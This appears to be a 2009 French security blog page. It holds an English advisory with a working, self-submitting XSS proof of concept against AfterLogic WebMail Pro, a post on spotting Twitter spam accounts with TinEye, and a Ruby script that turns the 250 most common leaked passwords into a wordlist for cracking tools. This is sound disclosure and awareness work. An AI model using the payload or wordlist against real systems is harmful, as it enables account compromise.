mercredi 30 septembre 2009

Security Advisory : Cross-Site Scripting flaw in AfterLogic WebMail Pro

Security Advisory : Cross-Site Scripting flaw in AfterLogic WebMail Pro


Description
-------------
AfterLogic WebMail Pro is vulnerable to Cross-Site Scripting, allowing injection
of malicious code in the context of the application.

Overview
-----------
Quote from http://www.afterlogic.com/products/webmail-pro :
"Webmail front-end for your existing POP3/IMAP mail server. Offer your users
the fast AJAX webmail and innovative calendar with sharing. Stay in control
with the admin panel and the developer's API."

Details
--------
Vulnerable Product : AfterLogic WebMail Pro <= 4.7.10
Vulnerability Type : Cross-Site Scripting (XSS)
Affected page : history-storage.aspx
Vulnerable parameters : HistoryKey, HistoryStorageObjectName
Discovered by : Sébastien Duquette (http://intheknow-security.blogspot.com)
Gardien Virtuel (www.gardienvirtuel.com)
Advisory : http://www.gardienvirtuel.com/fichiers/documents/publications/GVI_2009-01_EN.txt

Timeline
----------
Bug Discovered : September 18th, 2009
Vendor Advised : September 23rd, 2009
Fix made available : September 30th, 2009

Proof of concept
-------------------
The targeted user must be logged in the webmail. This proof of concept was
successfully tested in Firefox 3.5 and Internet Explorer 8.

<html>
<head>
</head>
<body onload="document.form1.submit()">
<form name="form1" method="post" action="http://WEBSITE/history-storage.aspx?param=0.21188772204998574" onsubmit="return false;">
<input type="hidden" name="HistoryKey" value="value">
<input type="hidden" name="HistoryStorageObjectName" value="location; alert('xss'); //">
</form>
</body>
</html>

Solution
---------
The vendor has made available a patched version. Update to AfterLogic Webmail Pro 4.7.11

mardi 15 septembre 2009

Retracer la source d'une image avec TinEye

Depuis quelque temps, j'utilise le service Twitter pour me tenir au courant de ce qui se passe dans le monde de la sécurité informatique. Comme tout ce qui existe sur le web, il n'a pas fallu grand temps avant que Twitter soit ciblé par le spam. Généralement, le spam se présente de cette façon : vous recevez un message de Twitter vous indiquant que quelqu'un désire s'abonner à votre profil. La photo de cette personne est généralement d'une fille sexy, souvent peu vêtue. Voici un exemple d'invitation que j'ai reçu ce matin :


De nombreux indices laisse deviner qu'il s'agit bien de spam : le fait que ce compte suit un grand nombre de personnes (66) alors que personne ne le suit, le compte a envoyé très peu de messages et ils contiennent des URL vers des sites qui désirent vous offrir quelque à vendre ou qui tentent d'infecter votre PC.

Une autre méthode pour déterminer sur un compte est légitime est de retracer la source de la photo utilisée sur le profil. Le site TinEye.com permet de retracer les sites qui contiennent la même image. En recherchant l'image du compte on obtient les résultats suivants (l'image originale s'appellait 15136422_sexykirstel_24_bigger.gif alors que le compte est au nom d'une supposée Wilda, ce qui nous indique aussi qu'il s'agit d'un faux compte) :



TinEye a retrouvé la même image sur 5 sites différents et qui n'ont aucun rapport avec notre nouvelle amie. La meilleure chose à faire est de tout simplement ignorer le message.

samedi 12 septembre 2009

Les 250 mots de passes les plus utilisés

Dernièrement j'ai découvert la liste des 250 mots de passe les plus utilisés sur Internet. Cette liste est basée sur les mots de passes des sites Singles.com, phpBB et MySpace qui ont été publiés suite au piratage de ces sites.

Je voulais obtenir la liste des mots de passe au format texte puisque la plupart des outils de sécurité (john, medusa, etc.) utilise ce format. J'ai donc écrit un petit script Ruby en utilisant Hpricot, un parseur HTML. Après avoir extrait le tableau du document original, le simple script suivant a fait le travail.

require 'rubygems'
require 'hpricot'

doc = Hpricot(open("common_passwords.html"))

counter = 1
(doc/"td").each do |td|
if counter % 3 == 0 then
puts td.inner_html
end
counter = counter + 1
end

La liste des mots de passe est disponible ici : http://sites.google.com/site/ekse0x/top250_passwords.txt

Pour ceux que ça intéresse, un tutoriel sur Hpricot : http://soledadpenades.com/2007/06/15/extracting-data-with-hpricot/


La liste est intéressante car elle nous donne une indication très représentative des mots de passe utilisés par les gens. On peut par exemple voir que le mot de passe le plus utilisé, 123456, représente 1.12% de tous les mots passe, ce qui veut dire qu'une personne sur 100 l'utilise. Les 25 mots de passe les plus utilisés représente 5% des mots de passes les plus utilisés. C'est énorme. Toute personne qui utilise l'un de ces mots de passes courre le risque que quelqu'un devine son mot de passe et accède à son compte.

Autre détail intéressant, le nom du site apparait assez haut dans la liste des mots de passe les plus populaire pour chacun des sites :

  • phpbb - 3e position
  • myspace1 - 7e position
  • single - 14e position
Une bonne pratique pour les administrateurs de ces sites serait d'interdire d'utiliser le nom du site et les termes qui s'en rapproche comme mot de passe.

Pour plus d'analyse, je vous invite fortement à lire le document original : http://blog.jimmyr.com/Password_analysis_of_databases_that_were_hacked_28_2009.php